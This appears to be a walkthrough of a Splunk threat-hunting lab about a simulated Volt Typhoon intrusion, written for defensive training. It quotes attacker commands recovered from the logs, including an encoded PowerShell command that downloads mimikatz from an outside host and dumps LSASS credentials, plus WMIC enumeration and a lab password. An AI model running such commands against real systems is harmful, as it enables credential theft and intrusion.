Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124

Threat Hunting Scenario Using Splunk
he SOC has detected suspicious activity indicative of an advanced persistent threat (APT) group known as Volt Typhoon, notorious for targeting high-value organizations. Assume the role of a security analyst and investigate the intrusion by retracing the attacker’s steps.
You have been provided with various log types from a two-week time frame during which the suspected attack occurred. Your ability to research the suspected APT and understand how they maneuver through targeted networks will prove to be just as important as your Splunk skills.
Connect to OpenVPN or use the AttackBox to access Splunk. Please give the machine about 4 minutes to boot.
Volt Typhoon often gains initial access to target networks by exploiting vulnerabilities in enterprise software. In recent incidents, Volt Typhoon has been observed leveraging vulnerabilities in Zoho ManageEngine ADSelfService Plus, a popular self-service password management solution used by organizations.
Filtering on ADSelfServicePlus logs and on Dean, we find the password was changed after many failed Account Unlock and a single Account Unlock that succeeded:


Directly after the password modification, we find an account creation:

Volt Typhoon is known to exploit Windows Management Instrumentation Command-line (WMIC) for a range of execution techniques. They leverage WMIC for tasks such as gathering information and dumping valuable databases, allowing them to infiltrate and exploit target networks. By using “living off the land” binaries (LOLBins), they blend in with legitimate system activity, making detection more challenging.
Filtering on server01 and server02:

We find the command was:

wmic /node:server01, server02 logicaldisk get caption, filesystem, freespace, size, volumename
AD databases have .dit extensions. So searching for .dit we find:


Hence the password was:
d5ag0nm@5t3r
Our target APT frequently employs web shells as a persistence mechanism to maintain a foothold. They disguise these web shells as legitimate files, enabling remote control over the server and allowing them to execute commands undetected.
Seaching for aspx:

We find it was in:
C:\\Windows\\Temp
Volt Typhoon utilizes advanced defense evasion techniques to significantly reduce the risk of detection. These methods encompass regular file purging, eliminating logs, and conducting thorough reconnaissance of their operational environment.
In PowerShell, Remove-ItemProperty can be used to remove most recently used records:

We found previously that the archive was named cisco. Searching for cisco in the logs, we find the new name:

cl64.gif
Searching for virtual in the logs, we find the regedit path:

HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control
Volt Typhoon often combs through target networks to uncover and extract credentials from a range of programs. Additionally, they are known to access hashed credentials directly from system memory.
Searching for reg query:

We find:
OpenSSH, putty, realvnc
Searching for:
-exec bypass -W hidden -nop -E
We find the base64 command:

-exec bypass -W hidden -nop -E SW52b2tlLVdlYlJlcXVlc3QgLVVyaSAiaHR0cDovL3ZvbHR5cC5jb20vMy90bHovbWltaWthdHouZXhlIiAtT3V0RmlsZSAiQzpcVGVtcFxkYjJcbWltaWthdHouZXhlIjsgU3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggIkM6XFRlbXBcZGIyXG1pbWlrYXR6LmV4ZSIgLUFyZ3VtZW50TGlzdCBAKCJzZWt1cmxzYTo6bWluaWR1bXAgbHNhc3MuZG1wIiwgImV4aXQiKSAtTm9OZXdXaW5kb3cgLVdhaXQ=
We can then decode the base64 using CyberChef and we get:
Invoke-WebRequest -Uri "<http://voltyp.com/3/tlz/mimikatz.exe>" -OutFile "C:\\Temp\\db2\\mimikatz.exe"; Start-Process -FilePath "C:\\Temp\\db2\\mimikatz.exe" -ArgumentList @("sekurlsa::minidump lsass.dmp", "exit") -NoNewWindow -Wait
Volt Typhoon uses enumeration techniques to gather additional information about network architecture, logging mechanisms, successful logins, and software configurations, enhancing their understanding of the target environment for strategic purposes.
The APT has been observed moving previously created web shells to different servers as part of their lateral movement strategy. This technique facilitates their ability to traverse through networks and maintain access across multiple systems.
We filter on wevutil logs, we find:
4624 4625 4769
Filtering on server02 logs, we find:
AuditReport.jspx
During the collection phase, Volt Typhoon extracts various types of data, such as local web browser information and valuable assets discovered within the target environment.
In PowerShell, files can be copied using Copy-Item. So filtering on Copy-Item:

We find:
2022.csv 2023.csv 2024.csv
Volt Typhoon utilizes publicly available tools as well as compromised devices to establish discreet command and control (C2) channels.
To cover their tracks, the APT has been observed deleting event logs and selectively removing other traces and artifacts of their malicious activities.
Filtering on netsh logs, we find:
10.2.30.1 8443
Filtering on wevtutil logs, we find:

Application Security Setup System